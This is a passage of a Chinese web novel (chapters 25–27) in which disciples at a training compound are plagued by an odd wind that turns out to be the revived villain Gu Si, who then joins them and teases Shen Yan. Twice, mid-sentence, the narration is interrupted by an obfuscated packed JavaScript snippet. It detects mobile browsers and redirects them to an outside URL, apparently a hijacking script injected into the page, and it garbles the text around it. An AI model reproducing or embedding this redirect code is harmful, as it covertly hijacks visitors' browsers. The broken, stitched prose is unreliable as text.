练了大概半个时辰,陆时忆停下来喘口气。沈言也练完了,正用毛巾擦汗。他脸色比之前红润了些,但还是很苍白,嘴唇没什么血色。 “你还好吧?”陆时忆问。 “死不了。”沈言说,语气是一贯的嚣张,但没什么精神。 “灵魂的伤,急不得。”陆时忆说,“慢慢养,总会好的。” “我知道。”沈言顿了顿,看向陆时忆手里的惊蛰,“你这剑,真叫惊蛰了?” “对啊,好听吧?” “还行。”沈言评价,“比陆十一强点。” “……你能不提那个外号吗?” “不能。” 傍晚,宋听澜做了一桌好菜,几个人围坐在桌边,吃得满嘴流油。 “明天我去镇上买棋子,顺便买点调料回来。厨房的盐快用完了,酱油也不多了。” “我跟你去!”陆时忆举手,“我给江淮年买棋子,顺便……呃,逛逛。” “逛什么逛,你就是想去玩。”江淮年戳穿他。 “我那是体察民情!” “体察个屁。” 沈言在旁边慢悠悠地吃饭,偶尔贱兮兮的点评一句。裴衍依旧是那副懒洋洋的样子,吃得慢,但吃得多。 萧予看着这群吵吵闹闹的徒弟,眼里带着笑意。 晚饭后,天还没黑。几个人收拾了碗筷,在院子里闲坐。裴衍继续打瞌睡,时聿在擦刀,宋听澜在翻医书,沈言在打坐,江淮年吊着胳膊在逗蚂蚁,江妤在缝衣服,陆时忆在擦剑。 夕阳西下,把院子染成一片暖金色。银杏树的叶子在晚风里沙沙作响,偶尔有几片早黄的叶子飘落,落在石桌上,落在肩头。 陆时忆擦着惊蛰,看着剑身上倒映的夕阳,忽然笑了。 “笑什么?”江淮年问。 “没什么。就是觉得,这样挺好。” “是啊,挺好。要是没有某个傻子整天拆家,就更好了。” “你说谁傻子?!” “谁答应说谁。” “江淮年你找打!” “来啊,怕你啊?我让你一只胳膊!” 裴衍被吵得睡不着,睁眼瞪了他们一下,但没说话,只是翻了个身,背对着他们继续睡。时聿默默挪远了一点,免得被波及。 江妤低头缝衣服,嘴角弯了弯。 25. 这风是跟我有仇吗?! 静园这段时间没什么大事。 影仆没来捣乱,师父没布置新任务,连训练都因为沈言养伤、江淮年胳膊刚好而放松了些。按理说应该是挺清闲的日子。 但陆时忆觉得,这风跟他有仇。 也不知道怎么回事,最近半个月,附近这一片儿动不动就刮大风。而且这风还特别怪,专挑他和沈言在院子的时候刮。 这天下午,陆时忆又在院子里练剑。惊蛰剑诀第五式“雷霆万钧”他练得差不多了,正琢磨第六式“雷光分化”。这招要求一剑出,雷光能分出数道,从不同角度攻击。听起来厉害,练起来要命。陆时忆练了三天,最好的记录是一剑分出两道雷光,还歪得离谱。 “再来。”他深吸口气,举起惊蛰。雷系能量在剑身流转,光芒越来越亮。他看准院子里那根木桩,手腕一抖,剑尖刺出。 雷光从剑尖迸发,在半空颤了颤,勉强分成两道,一道劈向木桩,一道劈向了旁边晾衣服的竹竿。 “别——”陆时忆话还没喊完,一阵大风毫无预兆地刮过来。 “呼——!” 那风又猛又急,卷着地上的尘土落叶,劈头盖脸糊了陆时忆一脸。 他被风刮得眯起眼,手里的剑势一偏,原本就歪的那道雷光被风一带,彻底失控,拐了个弯,直冲沈言的窗户去了。 沈言正靠在窗边看书养神。 他灵魂受损,不能练功,每天除了打坐就是看书,无聊得快长毛。 听见外面有动静,他刚抬头,就见一道歪歪扭扭的雷光劈开窗户,直奔他面门。 “我靠!”沈言骂了一句,反应极快,抄起手里的书就挡。 “滋啦——” 雷光劈在书页上,纸页瞬间焦黑冒烟。好在书够厚,挡下了大部分威力,但沈言还是被震得手一麻,书掉在地上,封皮烧掉一半。 陆时忆冲过来,趴在窗口:“沈言你没事吧?” 沈言黑着脸,抬起手,手里是那本烧得只剩一点的《异能基础理论》。 “你说呢?” 陆时忆缩了缩脖子:“那什么……意外,风太大了……” “风大?”沈言推开窗户,指着外面。院子里那根晾衣绳被风吹得摇摇晃晃,上面晾的衣服被吹得缠在一起,打了好几个死结。而刚才那阵妖风,刮完就停了,院子里一片狼藉,唯独天上晴空万里,连云都没几片。 “这风是专挑你练剑的时候刮?”沈言没好气。 “我怎么知道!”陆时忆也郁闷,“这半个月都这样!我一练剑它就刮风,一刮风我的雷就乱飞!上回劈了江淮年的棋子,上上回把师父晒的草药掀翻了,上上上回——” “行了行了。”沈言打断他,看着手里烧掉的书,叹了口气,“这本是宋师兄的,他特意找来给我看的。现在烧了,你赔。” “我赔我赔。”陆时忆赶紧说,“明天就去镇上买新的。” “镇上的书店没有这本,是孤本。” “……” 两人大眼瞪小眼。 这时,江淮年吊着胳膊溜达过来,看见沈言手里烧焦的书,又看看陆时忆那副心虚的样子,乐了:“又闯祸了?” “要你管!”陆时忆瞪他。 “我不管,我就是看热闹。”江淮年幸灾乐祸,“这风也真是,专跟你过不去。我刚才在屋里听见动静,就知道准是你又劈歪了。” “是风太大!”陆时忆辩解,“我那道雷光本来能控制住的,结果风一刮,它就歪了!” “得了吧,自己技术不行怪风。”江淮年撇嘴,“你看裴石头练土系,时聿练影系,怎么没见风把他们异能吹歪?” “那能一样吗?土系稳重,影系隐蔽,我这雷系本来就张扬,再一刮风——” “你就是菜。” “江淮年你找打!” “来啊,我让你一只胳膊!” 沈言懒得理他们,把烧焦的书扔桌上,推开房门走出去。 院子里一片乱,晾衣绳上的衣服缠成麻花,地上的落叶被风吹得到处都是,那根木桩上还留着一道焦黑的剑痕。 他走到银杏树下,抬头看了看天。天很蓝,太阳很大,一点不像要刮风的样子。 真是邪门了。 晚上吃饭的时候,陆时忆还在抱怨那阵妖风。宋听澜听了,若有所思:“最近天气确实反常。我查了古籍,这种无缘无故频繁强度异常的局地大风,通常和异常的能量波动有关。” “能量波动?”陆时忆一愣,“这附近有异常?” “不好说。”宋听澜摇头,“我测过几次,能量读数正常。但风确实刮得怪,而且……”他看向陆时忆和沈言,“似乎只针对你们俩在院子的时候。” 沈言皱眉:“什么意思?这风还认人?” “不一定认人,但可能和你们的异能属性有关。”宋听澜解释,“陆师弟是雷系,至阳至刚。沈师弟是混合系,元素交织。这两种属性的能量场都比较‘活跃’,容易引动外界能量。如果附近真有异常能量源,被你们的能量场激发,产生乱流,形成怪风,也不是没可能。” “那这异常能量源在哪?”江淮年问。 “不知道。”宋听澜说,“可能在地下,可能在空中,也可能……是某个残留的东西。” 他没明说,但几个人都听懂了。顾肆虽然魂飞魄散了,但他之前搞出来的魂化区域,还有那些黑暗能量,不可能一下子消失干净。说不定就残留了点什么东西,埋在地下或者飘在空中,被陆时忆和沈言的异能一激,就捣乱。 “要不去那片荒原再看看?”陆时忆提议。 “师父去过了,说没问题。”裴衍慢悠悠地扒饭,“能量残留是有,但很微弱,不成气候。而且荒原离静园几十里,再强的风也刮不过来。” “那这风到底哪来的?”陆时忆抓头发。 “等。”萧予开口了,“如果是异常能量,总会露出马脚。如果是自然现象,过阵子就停了。急没用,等着看。” 师父发话,陆时忆只好闭嘴。 接下来几天,风还是照刮不误。而且真像宋听澜说的,专挑陆时忆和沈言在院子的时候刮。陆时忆练剑,风就把他的雷吹歪。沈言在树下打坐养神,风就卷着沙土往他脸上扑。有次沈言忍无可忍,用刚恢复的一丁点混合系能量凝了个小护罩挡风,结果风更大了,直接把护罩吹散,还把他吹得一头一脸都是土。 “这风绝对有意识!”沈言咬牙切齿地洗脸,“它就是在针对我!” “也针对我!”陆时忆在旁边帮腔,“我上午想练剑,刚举起惊蛰,一阵风过来,把我剑上的雷光吹得往回飘,差点劈着自己!” “你那是技术不行。” “沈言你——” “好了别吵了。”江妤从厨房出来,手里端着盆洗好的衣服。她走到晾衣绳边,开始一件件晾衣服,动作熟练。“风大就少在院子待着,屋里练不行吗?” “屋里施展不开啊。”陆时忆说,“而且惊蛰剑诀讲究气势,在屋里憋着,练不出来。” “那你就等风停了再练。” “这风它不停啊!”陆时忆指天,“你看,这会儿多安静,我一拿剑它准刮!” 像是要印证他的话,陆时忆话音刚落,院子里忽然又起风了。这回风不大,但很刁钻,专门绕着晾衣绳转。江妤刚晾上去的一件衬衫,被风一卷,从衣架上滑下来,飘悠悠地落在沈言脚边。 沈言低头看了一眼,是陆时忆的训练服。 “你的。”他踢了一脚。 陆时忆捡起来,抖了抖土,讪讪地递给江妤:“江妤妹妹……” 江妤看了他一眼,接过衣服,重新挂上去。可刚挂好,风又来了,这回卷着几片枯叶,啪嗒一下糊在刚洗干净的衬衫上。 “……” 江妤深吸一口气,把衣服拿下来,转身回厨房:“不晾了,等风停。” 陆时忆看着她的背影,又看看天,欲哭无泪:“这风真跟我有仇啊……” 沈言懒得理他,回屋继续打坐。但心里也纳闷,这风到底怎么回事?要说针对陆时忆,他信,那傻子整天咋咋呼呼的,招风。可为什么连他也针对?他这几天安分得很,除了打坐就是看书,招谁惹谁了? 想来想去,只能归咎于自己这混合系。元素混在一起,能量场是有点杂,可能真像宋听澜说的,容易引动什么乱七八糟的东西。 算了,不想了。沈言闭上眼睛,专心养神。 又过了几天,风还是没停,但静园出了件小事。 江淮年的胳膊好了。 拆绷带那天,江淮年兴奋得在院子里连翻了三个跟头,结果落地没站稳,摔了个狗啃泥。陆时忆在旁边笑得直不起腰,被江淮年追着打了半条街。 胳膊好了,训练就得提上日程。萧予给江淮年重新定了计划,冰火双系要更精细地控制,尤其是融合技,得练到收发自如,不能像上次那样一炸了事。 江淮年练得很拼命。他知道自己之前太依赖冰火融合的爆发力,控制不够精细,打顾肆的时候吃了亏。现在得补回来。 他练功,陆时忆就在旁边看。看着看着,陆时忆发现不对劲了。 江淮年练功的时候,风不刮。 一次两次是巧合,可连着三天,只要江淮年在院子练冰火系,院子里就安安静静,一点风都没有。可江淮年一停,陆时忆或者沈言一出来,风立马就来了。 “这风真就只针对咱俩?”陆时忆找沈言吐槽。 沈言在屋里看书,头也不抬:“不然呢?” “凭什么啊?江淮年那小子整天咋呼,怎么不针对他?” “可能风觉得他比你顺眼。” “沈言你——” “吵死了,出去。” 陆时忆被轰出来,站在院子里生闷气。 正好江淮年练完一轮,过来喝水,看见他这副样子:“又被沈言怼了?” “要你管!”陆时忆没好气。 “不管不管。”江淮年灌了口水,擦擦嘴,“不过说真的,这风是有点怪。我练功的时候一点事没有,你一出来它就刮。沈言也是,只要他在院子,风准来。你俩是不是得罪风神了?” “我还想问问呢!”陆时忆郁闷,“这半个月,我的惊蛰剑诀半点进步没有,全耗在跟风较劲上了!” “那你不会在屋里练?” “屋里怎么练?惊蛰一出手,雷光乱窜,把屋炸了怎么办?” “那就去训练场,离院子远点。” “训练场也刮风!”陆时忆更郁闷了,“昨天我去训练场练剑,刚摆开架势,一阵风从山那边刮过来,卷着沙子石头,打得我睁不开眼。一道雷光劈歪,把训练场的木桩劈碎了三根。裴石头让我赔,我哪来的钱!” 江淮年憋着笑,拍拍他的肩:“节哀。” 陆时忆长叹一声,抬头看天。 天还是那么蓝,云还是那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119468|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,一点刮风的迹象都没有。可他敢打赌,只要他现在举起惊蛰,风立马就来。 果然,他刚这么想,院子里忽然又起风了。这回风不大,但带着股凉意,吹得人起鸡皮疙瘩。晾衣绳上的衣服被吹得晃来晃去,银杏树的叶子沙沙作响。 陆时忆认命地收起剑,回屋了。 这日子,没法过了。 晚上,陆时忆把这事儿跟师父说了。萧予听了,没说什么,只是让他明天别练剑,在屋里打坐,看看风还刮不刮。 第二天,陆时忆老老实实在屋里打坐。一上午,风平浪静。 下午,他忍不住了,偷偷溜到院子,刚拿起惊蛰,风就来了。 “……” 陆时忆彻底服了。 这风真是盯上他了。 他垂头丧气地回屋,正好碰上沈言。沈言也是刚从屋里出来,看样子是想去树下打坐,结果被风逼回来了。 两人对视一眼,都从对方眼里看到了同样的郁闷。 “这风到底想干嘛?”陆时忆问。 “谁知道。”沈言靠在墙上,“不过宋师兄说了,异常能量不会无缘无故出现,肯定有源头。等找到了,收拾掉,风就停了。” “可源头在哪儿啊?” “师父不是说等吗?那就等呗。” “等到什么时候?” “等到它自己冒出来。” 陆时忆叹了口气。也只能这样了。 又过了几天,风还是老样子。但静园的人渐渐习惯了,陆时忆练剑挑没风的时候练,沈言打坐尽量在屋里。 日子照常过,除了那阵时不时来捣乱的妖风,一切都挺平静。 直到这天下午,那风突然变得不一样了。 平时那风虽然怪,但也就是刮刮风,卷卷沙土,捣捣乱。 可这天下午的风,带着一股明显的能量波动。陆时忆在屋里都感觉到了,那波动很熟悉,有点像雷系? 他推开窗户往外看。院子里,风比平时大了不少,吹得银杏树哗哗作响。风中隐约能看到一丝丝银白色的电光,很细,很淡,但确实存在。 “这是……”陆时忆愣住了。 沈言也感觉到了,从屋里出来,站在廊下看。风中那些电光越来越多,越来越密,像一张细密的网,在院子里飘来飘去。 “陆时忆,”沈言皱眉,“这不会是你的雷吧?” “我雷系异能控制得再差,也不至于散成这样啊!而且这些电光没攻击性,就是飘着,像……像无主的能量残留。” “无主?”沈言心头一跳,想起宋听澜的话。异常能量源,残留的东西…… 两人对视一眼,同时想到一个可能。 就在这时,风中那些电光忽然汇聚到一起,在院子中央凝成一个拳头大小的银白色光球。 光球悬浮在半空,缓缓旋转,表面电弧噼啪作响。 “这是……”陆时忆屏住呼吸。 光球转了几圈,忽然“噗”一声,炸了。炸开的不是雷光,是一股更强的风。 那风带着电光,卷着沙土,在院子里疯狂旋转,形成一个小的龙卷风。 龙卷风不大,也就一人高,但威力不小。 晾衣架被连根拔起,衣服被卷上天,石桌上的茶杯被吸进去,瞬间搅碎。银杏树的叶子被扯下来无数,混在风里,搅得昏天黑地。 “我靠!”陆时忆赶紧关窗,但晚了,风已经卷到窗前,吹得他睁不开眼。 沈言也被风逼回屋里,砰地关上门。隔着窗户,他能看见那小龙卷风在院子里横冲直撞,所过之处一片狼藉。 “这他妈是什么玩意儿?!”陆时忆在隔壁喊。 “你问我我问谁!”沈言吼回去。 好在龙卷风没持续多久,大概半分钟就散了。风停之后,院子里一片惨状。 晾衣绳断了,衣服被撕成布条挂在树上,石桌缺了个角,银杏树秃了一半。 地上全是碎叶、泥土、碎瓷片。 陆时忆和沈言推开房门,看着这景象,半天说不出话。 裴衍、时聿、宋听澜、江淮年、江妤都被惊动了,纷纷出来。看见院子里的惨状,也都愣住了。 “这……这风成精了?”江淮年目瞪口呆。 萧予从正房出来,扫了一眼院子,脸色沉了下来。他走到院子中央,蹲下身,伸手摸了摸地面。地上有焦黑的痕迹,是电光烧的。他捻起一点焦土,放在鼻尖闻了闻,又用指尖搓了搓。 “师父,是什么?”宋听澜问。 萧予没立刻回答。他站起身,看向院墙外的山,看了很久,才缓缓开口。 “是残留的能量,但不是顾肆的。” “那是谁的?”陆时忆问。 “不清楚,这能量里,有雷系的痕迹,也有风系的痕迹。而且……它似乎在模仿什么。” “模仿什么?” 萧予看向陆时忆:“模仿你的雷。” 陆时忆一愣:“模仿我?为什么?” “可能因为你的雷系能量最活跃,最容易引动。”萧予说,“也可能因为……它想引起你的注意。” “引起我注意?干嘛?找我打架?” “等等看吧。如果它真想引起注意,还会有动静。” 说完,他转身回屋,留下一院子人面面相觑。 陆时忆看着满地狼藉,又看看手里的惊蛰,心里忽然有点发毛。 靠。这破风。 26.这货怎么回来了?! 那股妖风在院子里闹了一通之后,消停了几天。 陆时忆趁着没风,抓紧时间练剑。惊蛰剑诀第六式“雷光分化”总算有了点眉目,能一剑分出三道雷光了,虽然还是有点歪,但至少不往自己人身上劈了。沈言的灵魂也恢复了不少,混合系异能能调动一点了,虽然不敢大用,但至少头不疼了。 就在所有人都觉得那阵风可能就这么过去了的时候,出事了。 出事那天下午,陆时忆正在训练场练剑。他练得认真,没注意天色。等一套剑诀练完,抬头一看,才发现天阴了,灰蒙蒙、雾沉沉的,像有什么东西把天光吸走了似的。 “要刮风了?”陆时忆嘀咕一句,收剑准备回院子。 他刚转身,训练场周围忽然起风了。这回的风和之前不一样,打着旋儿,从四面八方往训练场中间聚。风里夹着细碎的电光,噼噼啪啪的,像小鞭炮。地上的沙土被卷起来,草叶被扯断,全往中间那个旋儿里吸。 陆时忆下意识握紧惊蛰,往后退了两步。那风旋越转越快,越转越大,从脸盆大小长到一人高,又从一人高长到两人高。风里的电光也越来越密,越来越亮,雷光在风旋里乱窜,发出刺耳的嗡鸣。 “这什么玩意儿……”陆时忆头皮发麻,转身就跑。 他跑得快,可那风旋更快。 他刚冲出训练场,风旋就追了上来,像条银白色的巨蟒,在他身后紧追不舍。陆时忆一边跑一边回头,看见那风旋掠过的地方,地面被犁出一道焦黑的沟,草木瞬间枯焦。 “我靠!来真的啊!”陆时忆吓出一身冷汗,脚下雷光炸开,拼命往静园冲。 静园里,沈言正坐在银杏树下打坐。他今天感觉不错,灵魂的撕裂感几乎没了,混合系能量在体内流转顺畅。他正想试着调动一点火系能量,忽然听见外面传来陆时忆的惨叫。 “救命啊——有东西追我——” 沈言睁眼,站起来,往院门方向看。只见陆时忆像被鬼撵似的冲进院子,身后跟着个两人高、电光乱窜的龙卷风。那龙卷风所过之处,地面焦黑,空气里全是难闻的刺鼻味。 “……”沈言愣了半秒,转身就往屋里跑。 “沈言你见死不救!”陆时忆惨叫。 “我救个屁!这玩意儿是冲你来的!”沈言头也不回。 这时,其他人也被惊动了。裴衍从屋里出来,看见那龙卷风,眉头一皱,双手按地。地面隆起一道土墙,挡在院门口。可那龙卷风撞上土墙,土墙瞬间崩碎,风势不减,直冲陆时忆。 陆时忆没办法,转身举剑。惊蛰雷光大盛,一剑劈出。雷光剑气撞上龙卷风,炸开一片刺目的电光。可那龙卷风只是晃了晃,没散,反而更凶了,风里的电光像活过来似的,拧成一股,反劈向陆时忆。 “我靠!”陆时忆慌忙躲闪,电光擦着他肩膀飞过,在地上炸出个坑。 江淮年冲出来,左手冰右手火,冰火融合球砸过去。龙卷风像有意识似的,一卷就把融合球卷进去,搅碎了。时聿从阴影里跃出,短刀斩向风旋中心,刀一进去就被弹出来,震得他虎口发麻。 “这东西不对劲!”宋听澜喊道,“它有核心!在风眼那里!” 陆时忆定睛一看,果然,那龙卷风的风眼里,有个光团,正高速旋转。那就是之前院子里炸开的那个光球! “打它核心!”陆时忆再次举剑。 那龙卷风像知道他要干嘛,忽然一分为二,一个继续追陆时忆,一个转向,扑向沈言。 沈言刚躲进屋里,就听见风声追来。他回头一看,那龙卷风已经撞破窗户,卷进来了。屋里空间小,风旋一进来,桌椅板凳全被卷飞,瓶瓶罐罐砸了一地。沈言被逼到墙角,退无可退,一咬牙,掌心凝聚出混合能量球,狠狠砸向风眼。 混合能量球撞上光团,没炸,而是被吸进去了。光团剧烈颤动,越来越亮,越转越快,忽然“砰”一声,炸了。 沈言被气浪掀飞,撞在墙上,眼前一黑。陆时忆冲进来想拉他,也被炸飞出去。 外面,另一个龙卷风忽然停了。风散了,电光没了,只剩那个银白色光团,悬浮在半空,缓缓旋转。 所有人都盯着那光团。光团表面,光芒还在流转,但越来越淡,最后全消失了,只剩下纯粹的银白。 然后,它开始变形。 像有人捏泥人似的,那光团慢慢拉长,长出四肢,长出脑袋。颜色也从银白变成深绿,发梢还挑染了一点黑。五官轮廓一点点清晰,眉毛,眼睛,鼻子,嘴巴…… 最后,一个活生生的人,站在了院子里。 五官凌厉,眼神桀骜,嘴角挂着一丝似笑非笑的弧度。 院子里一片死寂。 陆时忆张着嘴,半天合不上。 最震惊的是沈言。 他刚从地上爬起来,一抬头,看见那人,整个人僵住了。 “你……”沈言的声音有点抖,“你怎么……” 顾肆转过去,看向沈言。那双曾经疯狂的眼睛,此刻清明了不少,但还是那股熟悉的让人火大的嚣张劲儿。他上下打量沈言,从头看到脚,最后目光停在沈言脸上,挑了挑眉。 “哟,醒了?”顾肆开口,声音和之前占沈言身体时一样,但更真实,“你这身体恢复得不错嘛,比我上次用的时候结实多了。” 沈言脑子嗡嗡作响。他想过顾肆可能会回来,想过这疯子会不会又搞出什么幺蛾子,但他没想到,顾肆会以这种方式、这种样子回来。 有实体了。活的。能喘气的那种。 而且……怎么这么高? 沈言在静园不算矮,可顾肆往那儿一站,生生比他高了大半个头。他得仰着脖子才能看清顾肆的脸。 那张脸……沈言不想承认,但确实比他想象的顺眼。 呸。帅个屁。这货抢过他身体,差点害死他们所有人。 沈言黑着脸,从牙缝里挤出几个字:“你怎么还没死透?” “我也想死透啊,可你那点血,硬把我拽回来了。” “什么血?” “就刚才,你砸我那一下。”顾肆指了指自己胸口,“你那混合系能量里,混了你的血。我的残留能量吸了你的血,跟你血脉共鸣了,然后……”他摊手,“我就有身体了。惊喜不惊喜,意外不意外?” 沈言:“……” 他想起来了。刚才那混合能量球,他情急之下咬破了舌尖,血混进去了。可他妈的谁知道这玩意儿还能这么用啊?! 陆时忆终于反应过来,指着顾肆:“所以你他妈就是那阵妖风?!” 顾肆瞥了他一眼,懒洋洋地说:“算是吧。我意识飘在黑暗里,想凝聚身体,得靠能量。这附近就你的雷系能量最活跃,我下意识就引过来了。结果引过头了,控制不住,就成那德行了。” “那你干嘛专针对我和沈言?!” “针对你是因为你把我打散了,我记仇。”顾肆理直气壮,“针对沈言嘛……”他看向沈言,嘴角又弯了弯,“可能是因为,我对他比较‘熟悉’?” 沈言脸一黑:“谁跟你熟悉!” “怎么不熟?我住你身体里那么久,你身上几根骨头我都清楚。” “你——” “好了。”萧予的声音从正房传来。他走出来,看着顾肆,眼神复杂,“顾肆,你回来了。” 顾肆看见萧予,脸上的嚣张劲儿收敛了点,但也没多恭敬,只是点了点头:“师父。” “这次,是真的回来了?” “嗯,有身体了,跑不了了。”顾肆说,语气有点自嘲,“您要是还想罚我,随时。反正我现在也打不过您。” 萧予沉默了一会儿,才说:“静园有你的房间,一直留着。去收拾收拾,住下吧。” 这话一出,所有人都愣住了。 “师父?!”陆时忆急了,“他、他可是顾肆!之前差点把我们都害死!您让他住下?” “赶他走?让他继续在外面疯?” “可——” “陆时忆。”萧予打断他,“顾肆是我的徒弟,你们的师兄。他犯了错,受了罚,而且……”他看了顾肆一眼,“他现在有实体了,跑不了。要是再犯浑,你们一起上,揍到他服。” 顾肆嘴角抽了抽:“师父,您这偏心得太明显了吧?” “对你,就得这样。”萧予说完,转身回屋,“晚饭多加双筷子。顾肆,过来。” 顾肆“啧”了一声,但没反驳,跟着萧予走了。 留下院子里一群人,大眼瞪小眼。 “这就……住下了?”江淮年还有点懵。 “不然呢?”裴衍揉了揉太阳穴,“师父发话了,还能赶走?” “可他是顾肆啊!”陆时忆抓狂,“那个疯子顾肆!占沈言身体,抽人灵魂,想把世界魂化的顾肆!现在就这么……成咱们师兄了?” “他本来就是师兄。”宋听澜比较冷静,“现在回来了,师父想拉他一把,也正常。” “可我不服!”陆时忆瞪向沈言,“沈言,你说!你能忍?” 沈言黑着脸,没说话。 他忍个屁。可师父发话了,他能怎么办?而且……他看着顾肆跟着萧予进屋的背影,那家伙走路的样子,说话的调调,还有看他的眼神…… 沈言忽然有种不祥的预感。 晚饭的时候,不祥的预感成真了。 顾肆大咧咧地坐在桌边,正好坐在沈言对面。他身高腿长,坐在那儿比所有人都高一截,吃饭也吃得快,几口就扒完一碗,又去盛第二碗。夹菜的时候,手长,一伸就够到沈言面前的盘子,把沈言想夹的肉抢走了。 沈言筷子停在半空,盯着顾肆。 顾肆跟没看见似的,把肉塞进嘴里,嚼了两下,评价: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121235|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咸了。” 江妤在厨房听见,探出头:“咸了你别吃。” “我就说说。”顾肆又夹了一块,“不过味道还行,比师父做的好吃。” 萧予瞥了他一眼:“食不言。” 顾肆闭嘴了,但吃饭速度一点没慢。一顿饭下来,他吃了四碗饭,桌上的菜扫光一半。陆时忆看着空盘子,目瞪口呆:“你饿死鬼投胎啊?” “差不多。”顾肆放下碗,擦了擦嘴,“飘了那么久,好不容易有身体了,不得补补?” “那你也不能全吃光啊!我还没吃饱呢!” “自己盛饭去,厨房还有。” 陆时忆气冲冲地去盛饭了。沈言也放下碗,他没什么胃口,尤其是对面坐着顾肆,更没胃口了。他起身想回屋,顾肆忽然开口: “哎,沈言。” 沈言脚步一顿,没回头:“干嘛?” “叫声师哥听听。” “……” 沈言转头,盯着顾肆:“你做梦。” “怎么叫做梦呢?”顾肆靠回椅背,翘起二郎腿,“我比你大,比你早入门,叫你一声师弟,你叫我一声师哥,天经地义。” “你比我大?大多少?” “我死的时候十九,现在……嗯,算二十吧。你多大?十七?十八?” 沈言黑着脸:“要你管。” “那就是十七。未成年小孩,叫声师哥不亏。” “滚。” “不叫也行。”顾肆站起来,走到沈言面前。他比沈言高不少,往那儿一站,阴影把沈言全罩住了。他低头看着沈言,嘴角带着那种欠揍的笑,“那以后我就叫你小沈?沈小弟?小言言?” 沈言拳头硬了:“顾肆你找打是不是?” “叫师哥就不打你。” “我打你!” 沈言一拳挥过去。顾肆不躲不闪,抬手接住。沈言这拳用了力,可顾肆接得轻轻松松,手指一扣,就把沈言的手腕攥住了。 “力气不小嘛。”顾肆挑眉,“不过跟我比,还差点。” “你——” “好了。”萧予发话了,“顾肆,松手。沈言,回屋。” 顾肆松开手,耸耸肩。沈言狠狠瞪了他一眼,转身回屋,砰地关上门。 陆时忆端着饭碗出来,看见这一幕,小声对江淮年说:“这俩以后有的吵了。” 江淮年深以为然:“俩人这性格,凑一起不得炸了。” 果然,从那天起,静园就没消停过。 萧予把顾肆安排在西厢房,离沈言的房间不远。顾肆也不客气,真把自己当师兄了,整天在院子里晃悠,指手画脚。 沈言练功,他在旁边看,看完了评头论足:“你这混合系控制得不行啊,元素跟打架似的,各跑各的。要我是你,先把火和雷融了,这俩属性近,好融。” 沈言不理他,继续练。顾肆又说:“哎,你听我一句,师哥我经验丰富。当年我练的时候——” “你不是我师哥。”沈言打断他。 “叫声师哥又不会少块肉。” “滚。” 陆时忆练剑,顾肆也凑热闹:“你这剑法花架子太多,真打起来谁给你摆姿势?要我说,雷系就该快、准、狠,一剑出,雷霆万钧,哪有你这么多前摇后摇的?” 陆时忆瞪他:“你行你上啊!” “我上就我上。”顾肆伸手,“剑借我。” “不借!” “小气。” 顾肆也不强求,就站在旁边看,看完了继续点评。陆时忆被他烦得不行,剑都练不下去了。江淮年看热闹不嫌事大,在旁边煽风点火:“顾肆,你别光说,露两手啊。你不是风系吗?让我们见识见识。” 顾肆瞥了他一眼:“想看我露两手?行啊,找个对手。” “我跟你打!”陆时忆立刻说。 “你?”顾肆上下打量他,摇头,“不行,你太弱,打起来没意思。” “你——” “没意思。”顾肆撇撇嘴,看向沈言,“沈师弟,来,师哥教你两招。” “用不着。”沈言转身就走。 顾肆跟上去,喋喋不休:“别走啊,我真教你。你那混合系潜力大,但你没开发出来,毕竟几种元素变化多了去了……” 沈言被他烦得不行,加快脚步。顾肆腿长,一步顶他两步,轻轻松松跟上。 两人一前一后进了屋,门在身后关上,还能听见顾肆的声音从里面传出来: “哎,你这房间布置得不错嘛,就是乱了点。师哥帮你收拾收拾?” “滚出去!” “别这么见外嘛,叫声师哥,师哥疼你。” “顾肆你找死——” 屋里传来乒乒乓乓的声音,像在打架。外面的人面面相觑,最后江淮年总结: “这日子,热闹了。” 27.挂逼 顾肆回来之后,静园就没消停过。 倒不是他又搞什么幺蛾子,纯粹是这人太能惹事。 尤其是对沈言,顾肆好像找到了新玩具似的,整天围着沈言转,张口闭口“师弟”“师哥”,把沈言烦得够呛。 但烦归烦,静园其他人不得不承认,萧予说顾肆是天才,真没说错。 顾肆刚回来那几天,风系异能还不稳定。有时候刮阵风能把晾衣绳吹断,有时候想凝个风刃却只吹起几片叶子。 大家都以为他得恢复一阵子,毕竟死过一回,魂飞魄散过,再怎么天才也得有个过程。 结果仅仅三天。 那天下午,陆时忆在训练场练剑。他最近被顾肆刺激得发了狠,每天要么训练,要么就是在训练的路上。 他练得满头大汗,正想休息会儿,顾肆晃悠过来了。 “练着呢?”顾肆靠在训练场边上的木桩上,手里拿着个苹果,啃了一口。 陆时忆没好气:“关你屁事。” “火气这么大。”顾肆把苹果核随手一扔,拍拍手,“来,让师哥看看你练得怎么样。” “谁是你师弟!” “行行行,陆师弟。练两招?” 陆时忆本来不想理他,但转念一想,正好试试自己这段时间的进步。他握紧惊蛰,摆开架势:“来就来,怕你啊?” 顾肆笑了笑,没动,就那么站着。陆时忆也不客气,惊蛰一挥,四道雷光剑气劈出,从不同角度斩向顾肆。这一招他练了半个月,已经能勉强控制方向了,四道剑气封死了顾肆的退路。 顾肆还是没动。等剑气快到面前了,他才抬手,食指在空中轻轻一点。 一道淡青色的风墙凭空出现,薄得像层纱,但四道雷光剑气撞上去,像石头扔进水里,只激起几圈涟漪,就消失了。 陆时忆愣住了。 